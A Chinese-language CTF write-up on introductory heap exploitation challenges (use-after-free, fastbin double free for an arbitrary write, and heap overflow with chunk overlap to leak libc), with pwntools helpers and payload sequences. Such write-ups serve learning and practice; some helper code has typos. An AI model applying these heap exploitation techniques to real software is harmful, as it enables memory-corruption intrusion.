堆入门好难啊,但十分具有挑战性
题目链接:PolarD&N
1.heap_Easy_Uaf:(Use after free)
漏洞函数在这里,向a中写入flag后free了a,但指针仍然指向a.
那么此时fast-bins中就有一个大小为0x78的堆块,a指向这个堆块,如果我们申请一个大小为0x68的堆块的话(b),a与b就都指向这个0x78大小的堆块了,那么在b处写入Flag即可通过strncmp的检测从而getshell.
2.heap_Double_Free(Double free):
有用的信息就是我们可以申请任意大小的堆块或删除堆块,并且如果能满足globals1[4]==257就可以getshell,我们的目标就是将257写入globals[4]中,观察到globals1为dd形式,globals1[4]的地址就是globals1+16
上方的free函数存在一个漏洞:在free后并没有指控指针,我们便可以采取以下策略:
将一个堆块释放两次,再将其申回来,这就造成了这个堆块即在bins中,又在使用中的双重身份,此时我们填充的前八个字节的内容便会覆盖bins中这个堆块的fd指针,也就导致bins中可以出现任何我们想要的地址的堆块,我们便可以实现任意地址写.
题目函数的模拟:
def add(index,size,payload):io.recvuntil(b"root@ubuntu:~/Desktop$ ")io.sendline(b"1")io.sendlineafter(b"id and size :",str(index).encode())io.sendline(str(size).encode())io.sendlineafter(B"contet:\n",payload)
def free(index):io.recvuntil(b"(size)buntu:~/Desktop$ ")io.sendline(b"2")io.sendlineafter(b"id :\n",str(index).encode())
def get():io.recvunti((b"r)ot@ubuntu:~/Desktop$ ")io.sendline(b"4")
payload:
add(0,0x68,b'a')#0
add(1,0x68,b'a')#1
add(2,0x68,b'a')#2free(0)
free(1)
free(0)add(3,0x68,p64(0x6010A0))
add(4,0x68,b'a')
add(5,0x68,b'a')
add(6,0x68,p64(0x101))
为什么add(3,0x68,p64(0x6010A0))最后能改globals1[4]的内容呢?因为fd,bk指向的都是chunk head,而chunk data都是从[chunk head]+sizeof(chunk head)处开始的,说明要跳过一个chunk head.
3.Emo_Chunk(Heap overflow):
拥有add,edit,dele,print四个功能,其中edit可以写入256字节,这就造成了堆溢出,我们可以改变下个chunk的chunk head,fd等信息.
前置准备:
def add(size,):io.sendlineafter(b"Please Choice!\n",b"1")io.sendlineafter(b"Please Input Size:\n",str(size).encode())
def edit(Id,context):io.sendlineafter(b"Please Choice!\n",b"3")io.sendlineafter(b"Please Input index:\n",str(Id).encode())io.sendlineafter(b"Change EMo Content\n",context)
def free(Id):io.sendlineafter(b"Please Choice!\n",b"2")io.sendlineafter(b"Please Input index:\n",str(Id).encode())
def show(Id):io.sendlineafter(b"Please Choice!\n",b"4")io.recvuntil(b"Please Input index:\n")io.sendline(str(Id).encode())
leak:
payload=b'a'*0x68+p64(0xD0+0x11)
edit(0,payload)
free(1)
add(0x68)#1
show(2)
向chunk0中写入溢出数据覆盖chunk1的chunk head为0x68*2+0x10+1,其中0x68*2代表了chunk1和chunk2中的所有数据的大小,0x10代表chunk1和chunk2的chunk head大小(prev size)被服用所有chunk head中只有chunk size.0x1代表前一个chunk(chunk0)在使用中.这样chunk1就与chunk2重叠.
此时free掉chunk1会导致chunk1与chunk2都进入bins(unsortbins)中,而chunk2仍然在使用中可以通过索引寻址,于是chun2具有了同时在bins中与被使用中的双重身份.(这也说明free函数的作用域是根据chunk head决定的)
此时如果我们再申请一个0x68的堆块,那么系统会在unsortbins中将一个较大的堆块切分为两个堆块,并将第一个堆块返回给我们,且我们知道第一个堆块就是chunk1,那么此时bins中只有chunk2.我们还知道此时chunk2作为bins中的堆块,fd指针指向了[main_arena+88],那作为被使用的chunk,此时打印就可以将main_arena+88打印出来,实现libc的泄露.